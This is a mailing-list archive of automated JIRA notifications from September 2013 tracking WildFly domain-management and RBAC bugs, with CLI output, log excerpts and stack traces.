     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2089:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008087

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:12:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 16:12:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2138) Cannot add security realm
 child resources in a domain
In-Reply-To: <JIRA.12501333.1379967150187@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501333.1379967150187@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501333.1379967150187.590.1379967165693@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2138:
--------------------------------------

             Summary: Cannot add security realm child resources in a domain
                 Key: WFLY-2138
                 URL: https://issues.jboss.org/browse/WFLY-2138
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
            Priority: Critical
             Fix For: 8.0.0.Beta1


/] /host=master/core-service=management/security-realm=JBossTest:add
{
    "outcome" => "success",
    "result" => undefined,
    "server-groups" => undefined
}
[domain at localhost:9990 /] /host=master/core-service=management/security-realm=JBossTest/authentication=properties:add(path=application-users.properties, relative-to=jboss.server.config.dir)
{
    "outcome" => "failed",
    "result" => undefined,
    "failure-description" => "JBAS010839: Operation failed or was rolled back on all servers.",
    "rolled-back" => true,
    "server-groups" => {"main-server-group" => {"host" => {"master" => {
        "server-one" => {"response" => {
            "outcome" => "failed",
            "failure-description" => "JBAS014883: No resource definition is registered for address [
    (\"host\" => \"master\"),
    (\"core-service\" => \"management\"),
    (\"security-realm\" => \"JBossTest\"),
    (\"authentication\" => \"properties\")
]",
            "rolled-back" => true
        }},
        "server-two" => {"response" => {
            "outcome" => "failed",
            "failure-description" => "JBAS014883: No resource definition is registered for address [
    (\"host\" => \"master\"),
    (\"core-service\" => \"management\"),
    (\"security-realm\" => \"JBossTest\"),
    (\"authentication\" => \"properties\")
]",
            "rolled-back" => true
        }}
    }}}}
}


Note the addresses in the server level failure messages. It appears the /host=master level is not being stripped from the request to the server.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:30:45 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 23 Sep 2013 16:30:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181822@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181822@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181822.614.1379968245608@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created WFLY-2139:
--------------------------------

             Summary: ProxyStepHandler/Controller need to check access before attempting to read information
                 Key: WFLY-2139
                 URL: https://issues.jboss.org/browse/WFLY-2139
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Kabir Khan


This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:32:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 16:32:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.618.1379968365225@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2139:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1010672

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:34:45 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 23 Sep 2013 16:34:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.629.1379968485668@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan reassigned WFLY-2139:
--------------------------------

    Assignee: Kabir Khan

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:49:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 16:49:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840000.661.1379969385873@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2030?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806725#comment-12806725 ] 

RH Bugzilla Integration commented on WFLY-2030:
-----------------------------------------------

Jimmy Wilson <jawilson at redhat.com> changed the Status of [bug 1009169|https://bugzilla.redhat.com/show_bug.cgi?id=1009169] from NEW to CLOSED
                
> Add ability to use annotations from Dependencies in web deployments
> -------------------------------------------------------------------
>
>                 Key: WFLY-2030
>                 URL: https://issues.jboss.org/browse/WFLY-2030
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 16:49:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 16:49:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840000.680.1379969386658@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2030?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806729#comment-12806729 ] 

RH Bugzilla Integration commented on WFLY-2030:
-----------------------------------------------

Jimmy Wilson <jawilson at redhat.com> made a comment on [bug 1009169|https://bugzilla.redhat.com/show_bug.cgi?id=1009169]

Closing as this is a feature request, not a bug.
                
> Add ability to use annotations from Dependencies in web deployments
> -------------------------------------------------------------------
>
>                 Key: WFLY-2030
>                 URL: https://issues.jboss.org/browse/WFLY-2030
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 17:03:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 17:03:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.703.1379970225517@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806732#comment-12806732 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876] from POST to MODIFIED
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 17:05:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 17:05:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change distributed config on
 address settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.706.1379970345243@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806733#comment-12806733 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Clebert Suconic <csuconic at redhat.com> made a comment on [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074]

The bug definition here It's a bit blur. I would say it's an enhancement... dunno... 

I guess it doesn't really matter.
                
> Change distributed config on address settings to Page instead of Block
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 17:05:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 17:05:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.709.1379970345394@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806734#comment-12806734 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662] from POST to MODIFIED
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 17:54:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 17:54:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2072) Build controller-client
 module and its dependencies for JDK 6
In-Reply-To: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500702.1379090464000.745.1379973285791@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2072?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-2072:
--------------------------------------

    Assignee: Brian Stansberry

    
> Build controller-client module and its dependencies for JDK 6
> -------------------------------------------------------------
>
>                 Key: WFLY-2072
>                 URL: https://issues.jboss.org/browse/WFLY-2072
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> WildFly is built for JDK 7, but the controller-client lib and its dependencies within the WF codebase do not need JDK 7 features and should be built with source and compile targets set to JDK 6. This will help prevent the need for running a different management client for WF 8 vs AS7/EAP6 due to the need to support JDK for the the latter.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 21:52:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 21:52:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1955) Failed to read hosts
In-Reply-To: <JIRA.12499345.1377514114000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499345.1377514114000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499345.1377514114000.795.1379987565297@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1955?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806750#comment-12806750 ] 

Brian Stansberry commented on WFLY-1955:
----------------------------------------

Maybe this is the same as WFLY-2139?
                
> Failed to read hosts
> --------------------
>
>                 Key: WFLY-1955
>                 URL: https://issues.jboss.org/browse/WFLY-1955
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>              Labels: eap6.x
>             Fix For: 8.0.0.Beta1
>
>         Attachments: WFLY-1955-reproduce.txt
>
>
> Steps top reproduce:
> 1) Start domain
> 2) set server into reload state (transactions > statistics=true)
> 3) stop server from CLI (or web console) 
> 4) execute CLI command:
> {noformat}
> [domain at localhost:9999 /] :read-children-resources(child-type=host)
> {
>     "outcome" => "failed",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 23:27:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 23:27:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.843.1379993265479@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806767#comment-12806767 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1010672|https://bugzilla.redhat.com/show_bug.cgi?id=1010672] from NEW to MODIFIED
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 01:31:45 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Tue, 24 Sep 2013 01:31:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2137) transaction services do not
 start in domain mode with jts enabled
In-Reply-To: <JIRA.12501331.1379963766000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501331.1379963766000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501331.1379963766000.885.1380000705363@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2137?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806775#comment-12806775 ] 

jaikiran pai commented on WFLY-2137:
------------------------------------

Against which version is this (yeah, I'm just lazy right now to start my local installation and see if it's a problem against latest upstream :))
                
> transaction services do not start in domain mode with jts enabled
> -----------------------------------------------------------------
>
>                 Key: WFLY-2137
>                 URL: https://issues.jboss.org/browse/WFLY-2137
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Micha? Zegan
>
> When launching the app server in domain mode when there is a transaction subsystem active with jts set to true, server shows an error that there's a circular dependency between services.
> I don't have any log to show this but it is easily reproducible.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 24 02:12:45 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 24 Sep 2013 02:12:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1922) Test rbac for jmx in the
	testsuite
In-Reply-To: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499144.1377160350000.924.1380003165965@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1922?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1922:
--------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Test rbac for jmx in the testsuite
> ----------------------------------
>
>                 Key: WFLY-1922
>                 URL: https://issues.jboss.org/browse/WFLY-1922
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Ladislav Thon
>             Fix For: 8.0.0.Beta1
>
>
> This has been done, and the PR is at https://github.com/wildfly/wildfly/pull/4948.
> I've added some tests in the subsystem itself JmxRbacEnabledTestCase & JmxRbacDisabledTestCase but it could probably do with further testing in the testsuite once it is in upstream.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 02:14:45 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 24 Sep 2013 02:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1922) Test rbac for jmx in the
	testsuite
In-Reply-To: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499144.1377160350000.928.1380003285419@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1922?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon resolved WFLY-1922.
---------------------------------

    Resolution: Done


Yes, I currently have no plans for additional JMX tests regarding RBAC.
                
> Test rbac for jmx in the testsuite
> ----------------------------------
>
>                 Key: WFLY-1922
>                 URL: https://issues.jboss.org/browse/WFLY-1922
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Ladislav Thon
>             Fix For: 8.0.0.Beta1
>
>
> This has been done, and the PR is at https://github.com/wildfly/wildfly/pull/4948.
> I've added some tests in the subsystem itself JmxRbacEnabledTestCase & JmxRbacDisabledTestCase but it could probably do with further testing in the testsuite once it is in upstream.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 02:26:45 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Tue, 24 Sep 2013 02:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2140) ARQ managed container cannot
 detect server startup
In-Reply-To: <JIRA.12501346.1380003942000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501346.1380003942000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501346.1380003942000.936.1380004005439@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2140?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler reassigned WFLY-2140:
------------------------------------

    Assignee: Thomas Diesler

    
> ARQ managed container cannot detect server startup
> --------------------------------------------------
>
>                 Key: WFLY-2140
>                 URL: https://issues.jboss.org/browse/WFLY-2140
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>
> The test client sees the container starting successfully - from the log
> The following exception is however ignored in ManagementClient.isServerInRunningState()
> {code}
> java.util.ServiceConfigurationError: org.xnio.XnioProvider: Provider org.xnio.nio.NioXnioProvider could not be instantiated: java.lang.NoClassDefFoundError: org/xnio/FileSystemWatcher
> 	at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
> 	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
> 	at java.security.AccessController.doPrivileged(Native Method)
> 	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
> 	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
> 	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
> 	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
